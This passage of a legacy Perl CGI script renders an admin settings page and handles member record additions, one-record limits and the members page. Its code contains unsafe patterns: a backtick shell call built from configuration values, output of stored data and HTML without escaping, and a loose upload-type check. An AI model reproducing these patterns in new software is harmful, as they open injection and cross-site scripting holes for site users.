  773. <B>Include default search instructions on Search Page?</B> 
  774. <INPUT TYPE=CHECKBOX NAME=searchInfo VALUE=1";
  775. if ($searchInfo==1) {print " CHECKED"};
  776. print ">
  777. <BR>
  778. <B>Allow visitors to ADD to the database?</B> 
  779. <INPUT TYPE=CHECKBOX NAME=useradd";
  780. if ($useradd==1) {print " CHECKED"};
  781. print ">
  782. <BR>
  783. <B>Allow visitors to SEARCH the database?</B> 
  784. <INPUT TYPE=CHECKBOX NAME=usersearch";
  785. if ($usersearch==1) {print " CHECKED"};
  786. print " onClick=\"if ((this.checked)&&(form.limitMemberSearch.checked)) {form.limitMemberSearch.checked=false\;alert(\'Restrict Member Searches has been turned off\')}\">
  787. <P>
  788.  
  789.  
  790.  
  791. <B>Which fields should appear on the user search page:</B><BR>
  792. Click the fields in the left box in the sequence you wish <BR>
  793. to display them in the user search page.<BR>
  794. You may leave out fields which you wish to hide from users<BR>
  795. <table border=0 cellpadding=10><tr><th>Avaliable fields<th>Fields on search page</th><tr><td valign=top>
  796. <SELECT NAME=\"fields\" size=$len onChange=\"setseq(this,form.searchFormSequence,form.formSeqnums)\">";
  797. foreach (@fields) {print "<OPTION>$_\n";};
  798. print "
  799. </SELECT> <td valign=top><SELECT NAME=\"searchFormSequence\" size=$len>";
  800.  
  801. @seq=split(/:/,$searchFormSequence);
  802. foreach (@seq) {
  803.     print "<OPTION VALUE=\'$_\'>$fields[$_]\n";
  804. };
  805. print "
  806. </SELECT>
  807. <tr><td><td valign=top>
  808. <input type=button value=\"Clear Sequence\" 
  809. onClick=\"clearSequence(form.searchFormSequence,form.formSeqnums)\"></td>
  810.  
  811. </table></table>
  812. <P>
  813. <B>Use only a single search box for entire record.</B>
  814. <INPUT TYPE=\"CHECKBOX\" NAME=\"searchbox\"";
  815. print " CHECKED" if $searchbox==1;
  816. print ">
  817. <P>
  818. <B>Enter a URL for the \"Return to Homepage\" link.</B><BR>
  819. <INPUT TYPE=TEXT NAME=\"homepage\" size=60 value=\"$homepage\">
  820. <P>
  821. <B>If you would like use a customized search page:</B><BR> 
  822. <font size=2>1. Choose SAVE-AS on the default search page. Choose a name for the search page.<BR>
  823. 2. If you use a cgi-bin, edit the ACTION in the <FORM> tag to read \"/cgi-bin/$cgilocation\"<BR>
  824. 3. Customize the saved file and upload it.<BR>
  825. 4. Enter the name or URL of the new search page here.</font><BR>";
  826. $SearchPageBox=$searchPage;
  827. if ($searchPageBox eq "${cgilocation}?cgifunction=user") {$searchPageBox=""};
  828. print "
  829. <INPUT TYPE=text NAME=\"searchPage\" size=60 value=\"$searchPageBox\">
  830. <P>
  831. <B>If you would like to use a custom page for members:</B><BR>
  832. <font size=2>
  833. 1. Choose SAVE-AS on the default members page which comes up after a member logs in.<BR>
  834. 2. If you use a cgi-bin, edit the ACTION in the <FORM> tag to read \"/cgi-bin/$cgilocation\"<BR>
  835. 3. Remove the first line which contains a script to set the cookie.<BR>
  836. 4. Customize the saved file and upload it.<BR>
  837. 5. Enter the name or URL of the new members page here.<P>
  838.  </FONT>
  839.  
  840. <INPUT TYPE=TEXT NAME=\"memberpage\" size=60 value=\"$memberpage\"><BR>
  841. <B>Allow members to SEARCH the database?</B>
  842. <INPUT TYPE=CHECKBOX NAME=\"membersCanSearch\"";
  843. print " CHECKED" if $membersCanSearch==1;
  844. print " onClick=\"if (!this.checked) {form.limitMemberSearch.checked=false}\"><BR>
  845. \ \;\ \;<B>Restrict member searches to only their own records?</B>
  846. <INPUT TYPE=CHECKBOX NAME=\"limitMemberSearch\"";
  847. print " CHECKED" if $limitMemberSearch==1;
  848. print " onClick=\"if (this.checked) {lms(form)}\"><BR>
  849. <B>Allow members to ADD TO and MODIFY the database?</B>
  850. <INPUT TYPE=CHECKBOX NAME=\"membersCanAdd\"";
  851. print " CHECKED" if $membersCanAdd==1;
  852. print "><BR>
  853. \ \;\ \;<B>Limit members to 1 record each?</B>
  854. <INPUT TYPE=CHECKBOX NAME=\"limitMembers\"";
  855. print " CHECKED" if $limitMembers==1;
  856. print "><BR>
  857. <SCRIPT>
  858. function lms(f) {
  859.   f.membersCanSearch.checked=true\;
  860.   f.usersearch.checked=false\;
  861.   alert(\'Allow visitors to search is off.\\nAllow members to search is on.\')\;
  862. }
  863. </SCRIPT>
  864. <FONT SIZE=2><I>Note: You must use the members login page every time you wish to test a member feature so that
  865. the member cookie will replace the admin cookie.  Likewise, you must use the admin login page 
  866. again to reset the admin cookie before you return here or perform any other admin function.  </I></FONT>
  867. ";
  868.  
  869. #*********** BEGIN ODBC ********************
  870. #print "
  871. #<P><HR><P>
  872. #<B>Use an ODBC Database instead of Webdata's datafile.</B>
  873. #<INPUT TYPE=CHECKBOX NAME=\"usesql\"";
  874. #print " CHECKED" if $usesql==1;
  875. #print "><BR>
  876. #<I>You must have the Win32::ODBC module to use this option.</I><BR>
  877. #<B>DSN Name</B> <INPUT TYPE=TEXT SIZE=20 NAME=\"dsn\" VALUE=\"$dsn\"><BR>
  878. #<B>Table Name</B> <INPUT TYPE=TEXT SIZE=20 NAME=\"tablename\" VALUE=\"$tablename\"><BR>
  879. #<B>Primary Key</B> <SELECT NAME=\"primarykey\">\n";
  880. #$count=0;
  881. #foreach (@fields) {
  882. #  print "<OPTION VALUE=\"$count\"";
  883. #  print " SELECTED" if $count eq $primarykey;
  884. #  $count++;
  885. #  print ">$_";
  886. #}
  887. #print "\n</SELECT>
  888. #";
  889. #************ END ODBC **********************
  890.  
  891. #************ BEGIN REQUIRED FIELDS *********
  892. print "<P><HR><P>\n";
  893. print "<B>Required Fields</B><BR>
  894. <I>The selected fields will be required on any page from which a record may be added.</I><BR>\n";
  895. $cols=0;
  896. $count=0;
  897. print "<TABLE BORDER=0>";
  898. foreach (@fields) {
  899.   $fieldname=$_;
  900.   $fieldname=~s/ //g; 
  901.   print "<TR>" if $cols==0;
  902.   print "<TD align=right><B>$_</B></TD>";
  903.   print "<TD><INPUT TYPE=CHECKBOX NAME=\"${fieldname}_required\"";
  904.     print " CHECKED" if $reqfields=~/(^|\,)$count($|\,)/;
  905.   print "></TD>\n";
  906.   $cols++;
  907.   if ($cols==5) {
  908.     $cols=0;
  909.     print "</TR>\n";
  910.   }
  911.   $count++;
  912. }
  913. print "</TABLE>";
  914.  
  915.  
  916. #************ END REQUIRED FIELDS ***********
  917. print "
  918. <P><HR><P>
  919. <B>Header for results page:</B><BR>
  920. <I>This will go at the top of the search results table.</I><BR>
  921. Enter any header text and/or images using HTML code:<BR>
  922. <TEXTAREA NAME=\"header\" COLS=60 ROWS=8 WRAP=VIRTUAL>$reportHeader</TEXTAREA><P>
  923.  
  924. <B>Display Search Criteria:</B>
  925. <INPUT TYPE=CHECKBOX NAME=\"showCriteria\"";
  926.   print " CHECKED" if $showCriteria==1;
  927. print "><BR>
  928. <B>Keep a log of user searches</B><BR>
  929. <I>Enter the name or path to a file in which you would like
  930. to store visitor's search criteria.<BR>You may need to create this file manually
  931. and change its permissions so that the script can write to it.</I><BR>
  932. <INPUT TYPE=TEXT SIZE=40 NAME=\"searchlog\" VALUE=\"$searchlog\">
  933.  
  934.  
  935. <P>     
  936.  
  937. <B>Hide Table Border:</B>
  938. <INPUT TYPE=CHECKBOX NAME=\"hideBorder\"";
  939.   print " CHECKED" if $hideBorder==1;
  940. print "><P>
  941.  
  942. <B>Font information</B><BR>
  943. <I>Enter the attributes to go within a <FONT> tag for each table cell. Do not use quotes.<BR>
  944. For example:</I><TT> SIZE=3 FACE=Arial COLOR=green</TT><BR>
  945. <\;FONT <INPUT TYPE=TEXT SIZE=40 NAME=\"tableFont\" VALUE=\"$tableFont\">>\;
  946. <P>
  947. <B>Table Colors:</B><BR>
  948. <I>You may choose what color the header row of the table will be, 
  949. and choose two alternating colors for the table itself. If you do <BR>
  950. not wish to alternate, simply enter the same color for color1 and color2. 
  951. Enter any standard color or hex code.</I><BR>
  952. <B>Header row:
  953. <INPUT TYPE=TEXT SIZE=10 NAME=\"headerColor\" VALUE=\"$headerColor\">\ \;
  954. Table row color 1:
  955. <INPUT TYPE=TEXT SIZE=10 NAME=\"rowColor1\" VALUE=\"$rowColor1\">\ \;
  956. Table row color 2:
  957. <INPUT TYPE=TEXT SIZE=10 NAME=\"rowColor2\" VALUE=\"$rowColor2\"></B>
  958.  
  959. <P>
  960. <B>Sub Footer for results page:</B><BR>
  961. <I>This will go at the bottom of the search results table, immediatly after the data, and
  962. before the navigation controls.</I><BR>
  963. Enter any header text and/or images using HTML code:<BR>
  964. <TEXTAREA NAME=\"reportFooter\" COLS=60 ROWS=4 WRAP=VIRTUAL>$reportFooter</TEXTAREA><P>
  965.  
  966. <B>Show \"Go to page: 1 2 3 ...\" navigation:</B>
  967. <INPUT TYPE=CHECKBOX NAME=\"gotoPage\"";
  968.   print " CHECKED" if $gotoPage;
  969. print "><BR>
  970.  
  971. <B>Show \"Next Page/Previous Page\" buttons:</B>
  972. <INPUT TYPE=CHECKBOX NAME=\"nextprevButtons\"";
  973.   print " CHECKED" if $nextprevButtons;
  974. print "><BR>
  975.  
  976. <B>Show \"Search Again\" link:</B>
  977. <INPUT TYPE=CHECKBOX NAME=\"searchAgain\"";
  978.   print " CHECKED" if $searchAgain;
  979. print "><BR>
  980.  
  981. <B>Show \"Return to Homepage\" link:</B>
  982. <INPUT TYPE=CHECKBOX NAME=\"returnToHomepage\"";
  983.   print " CHECKED" if $returnToHomepage;
  984. print "><BR>
  985.  
  986. <P>
  987. <B>Footer for entire results page:</B><BR>
  988. <I>This will go at the very bottom of the search results page, after the navigation controls.
  989. Enter any header text and/or images using HTML code:</I><BR>
  990. <TEXTAREA NAME=\"reportPageFooter\" COLS=60 ROWS=4 WRAP=VIRTUAL>$reportPageFooter</TEXTAREA><P>
  991.  
  992.  
  993. <B>Sequence of Fields:</B><BR>
  994. Click the fields in the left box in the sequence you wish <BR>
  995. to display them in the user search results table.<BR>
  996. You may leave out fields which you wish to hide from users<BR>
  997. <table border=0 cellpadding=10><tr><th>Avaliable fields<th>Report Columns (left to right)<tr><td align=center>
  998. <SELECT NAME=\"fields\" size=$len width=200 onChange=\"setseq(this,form.sequence,form.seqnums)\">";
  999. foreach (@fields) {print "<OPTION>$_\n";};
  1000. print "
  1001. </SELECT> <td align=center><SELECT NAME=\"sequence\" size=$len width=200>";
  1002.  
  1003. @seq=split(/:/,$reportSequence);
  1004. foreach (@seq) {
  1005.     print "<OPTION VALUE=\'$_\'>$fields[$_]\n";
  1006. };
  1007. print "
  1008. </SELECT><tr><td><td align=center>
  1009. <input type=button value=\"Clear Sequence\" 
  1010. onClick=\"clearSequence(form.sequence,form.seqnums)\"></table></table><P>
  1011.  
  1012. <B>Display the Administration search results using only the above columns:</B>
  1013. <INPUT TYPE=\"checkbox\" NAME=\"limitAdminColumns\" VALUE=\"1\"";
  1014. print " CHECKED" if $limitAdminColumns==1;
  1015. print "><P>
  1016. <input type=hidden name=\"seqnums\" value=\"\">
  1017. <input type=hidden name=\"formSeqnums\" value=\"\">
  1018. <TABLE BORDER=0><TR><TD>
  1019. <B>Sort by:<br></b>Choose the field by which you wish to sort first (primary sort)</B></TD>
  1020. <TD><SELECT NAME=\"sort\" size=1>";
  1021. $i=1;
  1022. print "<OPTION VALUE=\"0\">-- Date Created --\n";
  1023. foreach (@fields) {
  1024.     print "<OPTION VALUE=\"$i\"";
  1025.         if ($reportSort == $i) {print " SELECTED";};
  1026.     print ">$_\n";
  1027.     $i++;
  1028. };
  1029. print "</SELECT></TD>";
  1030. print "<TD><B>Sort Sequence:</B></TD><TD><SELECT NAME=\"order\"><OPTION VALUE=0>Ascending";
  1031. print "<OPTION VALUE=1 ";
  1032. if ($reportOrder==1) {print "SELECTED"}
  1033. print ">Descending</SELECT></TD></TR>";
  1034. print "<BR>
  1035. <TR><TD><B>Sort by 2:<br></b>If 2 or more of the above values are the same,<BR>
  1036. choose the field to sort by next (secondary sort)</B></TD>
  1037. <TD><SELECT NAME=\"sort2\" size=1>";
  1038. $i=1;
  1039. print "<OPTION VALUE=\"0\">-- Date Created --\n";
  1040. foreach (@fields) {
  1041.     print "<OPTION VALUE=\"$i\"";
  1042.         if ($reportSort2 == $i) {print " SELECTED";};
  1043.     print ">$_\n";
  1044.     $i++;
  1045. };
  1046. print "</SELECT></TD>";
  1047. print "<TD><B>Sort Sequence:</B></TD><TD><SELECT NAME=\"order2\"><OPTION VALUE=0>Ascending";
  1048. print "<OPTION VALUE=1 ";
  1049. if ($reportOrder2==1) {print "SELECTED"}
  1050. print ">Descending</SELECT></TD></TR>";
  1051. print "</TABLE><P>\n";
  1052.  
  1053. print "<B>Number of results per page</B>
  1054. <INPUT TYPE=text NAME=\"numrows\" SIZE=3 VALUE=\"$reportLines\"><P>
  1055.  
  1056. <B>Include \"view\" button?</B>
  1057. <INPUT TYPE=checkbox NAME=\"form\"";
  1058. if ($reportForm==1) {print " CHECKED"};
  1059. print "><BR>
  1060. <B>Label for view button:</B> <INPUT TYPE=TEXT SIZE=20 NAME=\"viewButtonLabel\" VALUE=\"$viewButtonLabel\"><BR>
  1061. <B>Enter an image to use instead of the view button</B><BR>
  1062. <INPUT TYPE=TEXT SIZE=40 NAME=\"viewButtonImage\" VALUE=\"$viewButtonImage\"><BR>
  1063.  
  1064.  
  1065. The view button appears next to each record in the user search results.  It displays the current record in a columnar form.
  1066. <P><HR><P>
  1067.  
  1068. <B>Use European Dates (dd/mm/yy)?</B>
  1069. <INPUT TYPE=\"checkbox\" NAME=\"europeanDates\"";
  1070. print " CHECKED" if $europeanDates==1;
  1071. print "><P>
  1072.  
  1073. <B>Allow 'Instant Member' page?</B>
  1074. <INPUT TYPE=\"checkbox\" NAME=\"allowInstantMember\"";
  1075. print " CHECKED" if $allowInstantMember==1;
  1076. print "><P>
  1077.  
  1078. <B>Use Shopping Cart? </B>
  1079. <INPUT TYPE=CHECKBOX NAME=\"useCart\"";
  1080. print " CHECKED" if $useCart;
  1081. unless ($hascart) {
  1082. print qq( onClick="this.checked=false;alert('You must have Webteacher\\'s Shopping Cart module to use this feature.')");
  1083. } else {
  1084.   print qq( onClick="if (this.checked) {alert('A \\'Configure Shopping Cart\\' button\\nwillnow appear on the administration screen')}");
  1085. }
  1086. print ">";
  1087. unless ($hascart) {
  1088. print qq( <I>The Shopping Cart module is available from 
  1089. <A HREF="http://www.webteacher.com/webdata/epowercart.html">http://www.webteacher.com/webdata/epowercart.html</A></I>);
  1090. }
  1091. print "<P>
  1092. <B>Disable file locking</B>
  1093. <INPUT TYPE=\"checkbox\" NAME=\"disableFileLocking\"";
  1094. print " CHECKED" if $disableFileLocking==1;
  1095. print "><BR>
  1096. <font size=-1><I>The program creates a small file in the </I>$uploadsdir <I>directory while modifying
  1097. the data.log file so that 2 simultanious processes will not conflict with each other.
  1098. If you are having difficulty setting write permissions to the </I>$uploadsdir <I>directory, you may 
  1099. disable this feature until you get it configured properly.</font></I><HR>
  1100.  
  1101. <B>Notify admin of all new records</B><BR>
  1102. <B>E-mail address</B> <INPUT TYPE=TEXT NAME=\"email\" SIZE=30 VALUE=\"$email\"><BR>
  1103. <B>Path to Sendmail</B> <INPUT TYPE=TEXT NAME=\"sendmail\" SIZE=40 VALUE=\"$sendmail\"><BR>
  1104. On Unix, sendmail is frequently at <TT><B>/usr/lib/sendmail</B></TT><BR>
  1105. On Windows, enter the path to Blat, which can be downloaded for free from <A HREF=\"http://gepasi.dbs.aber.ac.uk/softw/Blat.html\">http://gepasi.dbs.aber.ac.uk/softw/Blat.html</A>
  1106.  
  1107. <HR>
  1108. <P>
  1109. <H3>Template for first search results screen</H3>
  1110. <font size=2>Instead of the default table, you can enter your own HTML code in the box below.  The code you enter 
  1111. will be displayed once for every record that matches the user\'s search criteria.  Using the keys below, 
  1112. substitute <B>\$data[0]</B> where you would like the value contained in the first field to appear, <B>\$data[1]</B> 
  1113. for the 
  1114. value contained in the second field, etc. Type the word <B>\$viewbutton</B> to place the view button in the search results.
  1115. Type <B>\$id</B> to include the record ID number. Type <B>\$datecreated</B> to include the date the record was added
  1116. to the database. Type <B>\$membername</B> to display the record\'s owner.  
  1117. If you are creating a link to another cgi script, use <B>\$escape[#]</B> instead of <B>\$data[#]</B>. This will automatically
  1118. convert \"<font color=blue>three, at \$2.25/each</font>\" into \"<font
  1119. color=blue>three%2C%20at%20%242.25%2Feach</font>\", which is the format cgi scripts expect in the URL.  If you use the
  1120. shopping cart, type <B>\$addbutton</B> where the \"Add to cart\" button should go.
  1121. <BR><B>Conditional Display:</B> The following syntax: <BR><font face=courier color=blue>  <B>\$if (</B>\$data[#]<B>) {</B>my text<B>}</B></font><BR>
  1122. will only display \"my text\" if there is a value in the \$data[#] field.  If \$data[#] is empty, nothing will be displayed. 
  1123. </font><P>
  1124.  
  1125.  
  1126.  
  1127. <TABLE BORDER=1 BGCOLOR=WHITE>
  1128. <TR><TH><font size=2>Type this:<TH><font size=2>To display the value for this:
  1129. <TH><font size=2>Type this:<TH><font size=2>To display the value for this:
  1130. ";
  1131. $numfields=@fields;
  1132. for($i=0;$i<$numfields;$i++) {
  1133.   print "<TR><TD><font size=2>\$data[$i]<TD><font size=2>$fields[$i]";
  1134.   $i++;
  1135.   last if $i==$numfields;
  1136.   print "<TD><font size=2>\$data[$i]<TD><font size=2>$fields[$i]\n";
  1137. }
  1138. print "</TABLE><BR>
  1139. <B>Do not convert URLs, e-mail addresses, and images in templates</B>
  1140. <INPUT TYPE=CHECKBOX NAME=\"templateNoSubstitute\"";
  1141.   print " CHECKED" if $templateNoSubstitute==1;
  1142. print "><BR>
  1143. <I><font size=-1>If this box is unchecked, URLs and e-mail addresses will appear as links
  1144. and images will be displayed automatically.  Check this box if you wish to
  1145. override the default substitutions.  This is necessary, for example, to define
  1146. the text inside a link or specify the alignment of an image.</font></I><P>
  1147.  
  1148. <B>Use this template instead of the search results table?</B>
  1149. <INPUT TYPE=CHECKBOX NAME=\"searchTemplateOn\"";
  1150.   print " CHECKED" if $searchTemplateOn==1;
  1151. print "><BR>
  1152. <B>Search Template</B><BR>
  1153. <TEXTAREA NAME=\"searchTemplate\" ROWS=20 COLS=80 WRAP=\"physical\">$searchTemplate</TEXTAREA>
  1154.  
  1155. <P>
  1156. <HR>
  1157. <P>
  1158. <H3>Template for form view, when the \'view\' button is clicked</H3>
  1159. <font size=2>Instead of the default form, you can enter your own HTML code in the box below.  
  1160. Substitute \$data[0] where you would like the value contained in the first field to appear, \$data[1] for the 
  1161. value contained in the second field, etc.</font><BR>
  1162. <B>Use this template instead of the default form when the 'view' button is clicked?</B>
  1163. <INPUT TYPE=CHECKBOX NAME=\"formTemplateOn\"";
  1164.   print " CHECKED" if $formTemplateOn==1;
  1165. print "><BR>
  1166. <B>Form Template</B><BR>
  1167. <TEXTAREA NAME=\"formTemplate\" ROWS=40 COLS=80 WRAP=\"physical\">$formTemplate</TEXTAREA>
  1168. <P>
  1169. <B>Members Maintenance Page Template</B><BR>
  1170. <I>The maintenance page appears when a member selects a record to be modified or deleted. 
  1171. If \"Limit Members to 1 Record Each\" is checked, this is the first page the member will come to.</I><BR>
  1172. Type <B>\$field[#]</B> to display an editable box for a selected field.
  1173. Type <B>\$data[#]</B> to display the value of a field as text, in a non-editable format.<BR>
  1174.  
  1175. <B>Use this template instead of the default Maintenance Page?</B>
  1176. <INPUT TYPE=CHECKBOX NAME=\"maintenanceTemplateOn\"";
  1177.   print " CHECKED" if $maintenanceTemplateOn==1;
  1178. print "><BR>
  1179.  
  1180. <TEXTAREA NAME=\"maintenanceTemplate\" ROWS=40 COLS=80 WRAP=\"physical\">$maintenanceTemplate</TEXTAREA>
  1181. <P>
  1182. ";
  1183. if ($user_data{qtfield}) {print "
  1184. <B>If you have registered another</B> <FONT COLOR=BLUE>webdata_[database name].pl</FONT> <B>file in the same directory
  1185.  as this one is in, enter its filename here to register this database</B><BR>
  1186. <INPUT TYPE=TEXT SIZE=25 NAME=\"registereddb\" VALUE=\"$registereddb\">
  1187. <INPUT TYPE=HIDDEN NAME=\"qtfield\" VALUE=\"1\">
  1188. <P>
  1189. "};
  1190. print "
  1191. <INPUT TYPE=SUBMIT NAME=\"cgifunction\" VALUE=\"Modify Pages\"><BR>
  1192. <A HREF=\'$cgilocation?cgifunction=admin\'>Return to Administration Page</A>
  1193. </FORM>";
  1194.  
  1195. print "
  1196. <A HREF=\"$searchPage\">Test your modifications on the User Search Page</A>
  1197. <P><BR><P><BR><P><BR><P><A NAME=\"bottom\">\ \;</A>";
  1198. };
  1199.  
  1200.         
  1201. #*******END REPORT PAGE SUBROUTINE**********
  1202.  
  1203. #********BEGIN MEMBERADD SUBROUTINE**************
  1204. sub memberadd {
  1205. &memberpass;
  1206. open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames");
  1207. @fieldsData=<FIELDS>;
  1208. close FIELDS;
  1209. foreach (@fieldsData) {
  1210.     ($field,$type)=split(/::/);
  1211.     push(@fields,"$field\n");
  1212.     push(@types,"$type");
  1213. };
  1214. chomp(@fields);
  1215. @value=();
  1216. $body="The following record has been added to the $cgilocation database.\n\n";
  1217. $value[0]=time();
  1218. $fcount=1;
  1219. shift(@fields);
  1220. $missingReqs=0;
  1221. $isEmpty=1;
  1222. foreach $fname (@fields) {
  1223.   $value[$fcount]=$user_data{$fname};
  1224.   $reqnum=$fcount-1;
  1225.   if ((length($user_data{$fname})==0)&&($reqfields=~/(^|\,)$reqnum($|\,)/)) {
  1226.     $reqerror.="<B>$fname</B> is a required field.<P>";
  1227.     $missingReqs=1;
  1228.   }
  1229.   if (length($user_data{$fname})>0) {$isEmpty=0};
  1230.   $body.="$fname\: $user_data{$fname}\n";
  1231.   &gettype($types[$fcount]);
  1232.   #UPLOAD IF IT IS AN UPLOAD FIELD
  1233.   if (($type eq "upload")&&(length($user_data{$fname})>0)) {
  1234.     if ($user_data{$fname}=~/([^\\\/\:]+$)/) {$INfilename=lc($1)};
  1235.     $INfilename=~s/[^a-zA-Z0-9\_\.]//g;
  1236.     if ($INfilename=~/\.([a-zA-Z0-9]+)$/) {$extension=$1};
  1237.     if ($typeexts!~/,*${extension},*/i) {
  1238.       &error("Only the following filetypes are allowed. $typeexts");
  1239.     }
  1240.     $OUTfilename="${value[0]}_${fname}_${INfilename}";
  1241.     $value[$fcount]="${uploadsURL}$OUTfilename";
  1242.     $uploadsize=0;
  1243.     @filecontents=();
  1244.     while ($bytesread=read($user_data{$fname},$buffer,1024)) {
  1245.       $uploadsize+=length($buffer);
  1246.       push(@filecontents,$buffer);
  1247.     }
  1248.     
  1249.     if ($uploadsize>$typesize*1000) {
  1250.       &error("upload size = $uploadsize bytes.<P>The upload can only be a maximum of ${typesize}KB")
  1251.     };
  1252.     open (OUTFILE,">${uploadsdir}${OUTfilename}") or &error("Could not open ${uploadsdir}$OUTfilename for
  1253. writing");
  1254.       binmode(OUTFILE);
  1255.     print OUTFILE (@filecontents);
  1256.     close OUTFILE;
  1257.     close ($user_data{$fname});
  1258.   }   
  1259.   
  1260.   #END UPLOAD
  1261.   $fcount++;
  1262. };
  1263.  
  1264. if ($isEmpty) {$reqerror.="No data was submitted<P>"};
  1265. if (($missingReqs)||($isEmpty)) {
  1266.   &bodytag;
  1267.   print "Your record was not added for the following reasons:<P>\n";
  1268.     print "$reqerror";
  1269.   print qq(<A HREF="javascript:history.go(-1)">Return to previous page</A>);
  1270.   exit;
  1271. }
  1272.  
  1273. #pop(@value);  #** Remove cgifunction from @value array **
  1274. #if ($user_data{pagenum}>0) {pop(@value)}; #** remove pagenum from @value array
  1275. foreach (@value) {
  1276.     $_=~s/\r/\n/g;
  1277.     $_=~s/\n\n/\n/g;
  1278.     $_=~s/\n/<BR>/g;
  1279. };
  1280. print "
  1281. <HEAD><TITLE>Webdata Entry Added</TITLE></HEAD>
  1282. <BODY BGCOLOR=\"BEIGE\"><H1>";
  1283.  
  1284. #******* Remove delimiter characters and leading spaces*********
  1285. foreach $item (@value) {
  1286.     $item=~s/^( *)//ge;   # remove leading spaces from entries
  1287.     $item=~s/:/':'/ge;  # replace delimiting character from entries
  1288. };
  1289.  
  1290. #****Check to see if entry is already used****
  1291. &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  1292. open(READLOG,"<$logfile");
  1293. @entries = <READLOG>;
  1294. close READLOG;
  1295. &removelock; #remove lock file
  1296. $unique="true";
  1297. $line = $entries[$#entries];
  1298. @data = split(/::/,$line);
  1299. chomp(@data);
  1300. shift(@data);
  1301. $comp1=join('::',@data);
  1302. @data=(@value,$userid);
  1303. chomp(@data);
  1304. shift(@data);
  1305. $comp2=join('::',@data);
  1306. if ($comp1 eq $comp2) {
  1307.   $unique="false";
  1308. };
  1309.  
  1310.  
  1311. #********Add values to $logfile file*******************
  1312. if($unique eq "true") {
  1313.     &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  1314.      push(@value,"$userid");
  1315.         open(LOGFILE,">>$logfile") or &error("Could not open $logfile");
  1316.            $line=join("::",@value);
  1317.         print LOGFILE ("$line\n");
  1318.         close(LOGFILE);
  1319.         &removelock; #remove lock file.
  1320.         print "<H1>Your entry has been added.</H1><P>";
  1321. } else {
  1322.         print "<font color=\"red\">";
  1323.         print "That entry matches the previous entry exactly. It is probably a duplicate entry.  Submission cancelled.</h1></font>";
  1324. };
  1325.  
  1326.  
  1327. #****RETURN TO MAINTENANCE SCREEN****
  1328. print "<A HREF=\"javascript:history.go(-1)\">
  1329. Return to previous page</h1>
  1330. ";
  1331. if (length($email)>0) {
  1332.   if ($^O=~/win/i) {
  1333.     open (MAIL,">${uploadsdir}mail.txt");
  1334.     print MAIL ("$body\n");
  1335.     close MAIL;
  1336.     $tmp=`$sendmail ${uploadsdir}mail.txt -s \"New Record Added to Database\" -t $email -q`;
  1337.   } else {
  1338.     open (MAIL,"|$sendmail -t") or &error("Could not open $sendmail");
  1339.     print MAIL ("To: $email\nFrom: $email\n");
  1340.     print MAIL ("Subject:New Record Added to Database\n$body\n");
  1341.     close MAIL;
  1342.   }
  1343. }
  1344. };
  1345. #*********END MEMBER ADD SUBROUTINE********************
  1346.  
  1347. #********BEGIN LIMIT MEMBERS SUBROUTINE
  1348. sub limitMem {
  1349.   &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  1350.   open (FILE,"<$logfile") or &error("Could not open $logfile");
  1351.   @entries=<FILE>;
  1352.   close FILE;
  1353.   &removelock; #remove lock file
  1354.   chomp(@entries);
  1355.   $isListed=grep(/::$userid$/,@entries);
  1356.   if (!$isListed) {
  1357.     open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames");
  1358.     @fields=<FIELDS>;
  1359.     close FIELDS;
  1360.     $numfields=@fields;
  1361.     $dummyline=time();
  1362.     for ($i=0;$i<$numfields;$i++) {
  1363.       $dummyline.="::";
  1364.     }
  1365.     $dummyline.=$userid;
  1366.     push(@entries,$dummyline);
  1367.     &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  1368.     open (FILE,">$logfile") or &error("Could not open $logfile");
  1369.     foreach (@entries) {
  1370.       print FILE "$_\n";
  1371.     }
  1372.     close FILE;
  1373.     &removelock;
  1374.     chomp(@entries);
  1375.   };
  1376.   foreach(@entries) {
  1377.     if (/::$userid$/) {
  1378.       @data=split('::');
  1379.       %user_data=();
  1380.       @value=();
  1381.       $user_data{part}=$data[0];
  1382.       $value[0]=$user_data{part};
  1383.       $value[1]="maintenance";
  1384.     }
  1385.   }
  1386.   &maintenance;
  1387. }
  1388. #********END LIMIT MEMBERS SUBROUTINE
  1389.  
  1390. #****BEGIN MEMBER PAGE SUBROUTINE
  1391. sub memberpage {
  1392.   &memberpass;
  1393.   print "<SCRIPT>document.cookie=\"admin=$cookie\"</SCRIPT>";
  1394.   if ($limitMembers) {
  1395.     &limitMem;
  1396.     exit;
  1397.   }
  1398.   if (length($memberpage)>0) {
  1399.     print "<SCRIPT>location.replace(\'$memberpage\')</SCRIPT>\n";
  1400.     print "<NOSCRIPT>You must have JavaScript to use the Members pages</NOSCRIPT>";
  1401.     exit;
  1402.   }
  1403.   @fields=();
  1404.   @types=();
  1405.   open(FIELDS,"<$fieldnames") or &error ("Could not open $fieldnames");
  1406.   @fieldsData=<FIELDS>;
  1407.   close FIELDS;
  1408.   $usemulti=0;
  1409.   foreach (@fieldsData) {
  1410.     ($field,$type)=split(/::/);
  1411.     push(@fields,"$field\n");
  1412.     push(@types,"$type");
  1413.     $usemulti=1 if $type=~/upload/;
  1414.   };
  1415.   shift(@fields);
  1416.   shift(@types);
  1417.   
  1418.   print "
  1419. <HEAD><TITLE>Members Admin Page</TITLE></HEAD>
  1420. <BODY BGCOLOR=\"beige\">
  1421. <H1 align=center> Members Administration Page </H1>";
  1422. if (length($reqfields)>0) {
  1423.   print "<font color=red><B>* </B>indicates required fields</font><BR>";
  1424. }
  1425. print "
  1426. <form name=\"form1\" action=\"$cgilocation\" method=post";
  1427.   print " ENCTYPE=\"multipart/form-data\"" if $usemulti==1;
  1428.   print ">
  1429. <input type=hidden name=\"ID\">
  1430. <TABLE BORDER=0>
  1431. ";
  1432. print "<TR><TD><font color=orange><B>Date Created</B></font></TD><TD><input type=text size=15 name=\"date_created\"> (Date is added automatically, use for Search/modify only)</TD></TR>\n";
  1433. $ftcount=0;
  1434. foreach $field (@fields) {
  1435.       &gettype($types[$ftcount]);
  1436.       chop($field);
  1437.       print "<TR><TD>";
  1438.       print "<font color=red><B>* </B></font>" if $reqfields=~/(^|\,)$ftcount($|\,)/;
  1439.       print "<B>$field</B></TD>";
  1440.       if ($type eq "text") {
  1441.            print "<TD><input type=$type name=\"$field\" size=$typesize></TD></TR>\n";
  1442.       };
  1443.       if ($type eq "checkbox") {
